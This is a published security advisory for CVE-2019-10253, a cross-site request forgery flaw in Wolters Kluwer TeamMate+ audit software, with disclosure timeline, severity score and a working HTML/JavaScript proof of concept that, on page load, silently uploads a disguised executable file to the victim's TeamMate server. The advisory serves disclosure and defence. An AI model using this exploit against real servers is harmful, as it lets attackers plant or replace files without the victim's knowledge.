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Wolters Kluwer TeamMate+ Cross-Site Request Forgery (CSRF) vulnerability

From: bhdresh () gmail com
Date: Mon, 2 Sep 2019 06:45:42 GMT
Title:
====

Wolters Kluwer TeamMate+  Cross-Site Request Forgery (CSRF) vulnerability


Credit:
======

Name: Bhadresh Patel


CVE:

====

CVE-2019-10253

Date:
====

19/03/2019 (dd/mm/yyyy)

Vendor:
======

Wolters Kluwer is a global leader in professional information, software solutions, and services for the health, tax & 
accounting, finance, risk & compliance, and legal sectors. We help our customers make critical decisions every day by 
providing expert solutions that combine deep domain knowledge with specialized technology and services.

Vendor link: http://www.teammatesolutions.com/about-us.aspx

 
Vulnerable Product:
==============

TeamMate+


TeamMate Global Audit Solutions, part of the Tax and Accounting Division of Wolters Kluwer, helps professionals in all 
industries at organizations around the world manage audit and compliance risks and business issues by providing 
targeted, configurable, and efficient software solutions. Solutions include TeamMate+ Audit, TeamMate+ Controls, and 
TeamMate Analytics. Together, this ecosystem of solutions provides organizations with the combined assurance they need 
to manage all aspects of risk identification and assessment, electronic working paper creation and management, controls 
framework management, and data analysis.



Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in TeamMate+ could allow an attacker to upload malicious/forged files 
on TeamMate server or replace existing uploaded files with malicious/forged files by enticing authenticated user to 
visit attacker page.


Report-Timeline:

=============

19/03/2019: Vendor notified

19/03/2019: Vendor responded requesting further information

20/03/2019: Further technical information with PoC was shared with vendor

01/07/2019: Vendor fixed the issue in version 3.2


Affected Software Version:
=============

<= TeamMate January 2019 (Version 3.1) (Internal Version: 21.0.0.0)


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

4.3 (Medium) (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
 

CVE ID:

=======


CVE-2019-10253

 
Details:
=======

A Cross-Site Request Forgery (CSRF) vulnerability is discovered in TeamMate+ which allows a remote attacker to modify 
application data (upload malicious/forged files on TeamMate server or replace existing uploaded files with 
malicious/forged files) without victim's knowledge by enticing authenticated user to visit attacker page/URL.


The specific flaw exists within the handling of request to DomainObjectDocumentUpload.ashx application. An 
application failed to validate CSRF token before handling the POST request.


Vulnerable module/page/application: /TeamMate/Upload/DomainObjectDocumentUpload.ashx

 

PoC Exploit code:
----------------------------------------------------------------------------

 

<html>

 

  <body onload="submitRequest()">

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open("POST", "https://<ServerIP>/TeamMate/Upload/DomainObjectDocumentUpload.ashx", true);

        xhr.setRequestHeader("Accept", "text/html, */*; q=0.01");

        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9,ar;q=0.8");

        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryNA930lURoQYsoTOn");

        xhr.withCredentials = true;

        var body = "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"fileObjectId\"\r\n" +

          "\r\n" +

          "0\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"parentId\"\r\n" +

          "\r\n" +

          "1373\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"AssessmentId\"\r\n" +

          "\r\n" +

          "34\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"ProjectId\"\r\n" +

          "\r\n" +

          "1106\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"ParentNodeType\"\r\n" +

          "\r\n" +

          "50\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"DocumentParentObjectType\"\r\n" +

          "\r\n" +

          "90\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"files[]\"; filename=\"Report.txt\"\r\n" +

          "Content-Type: application/x-msdownload\r\n" +

          "\r\n" +

          "MZP\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn--\r\n";

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i);

        xhr.send(new Blob([aBody]));

      }

    </script>

 

  </body>

</html>

 

----------------------------------------------------------------------------


Credits:
=======

Bhadresh Patel
Current thread:

Wolters Kluwer TeamMate+ Cross-Site Request Forgery (CSRF) vulnerability bhdresh (Sep 02)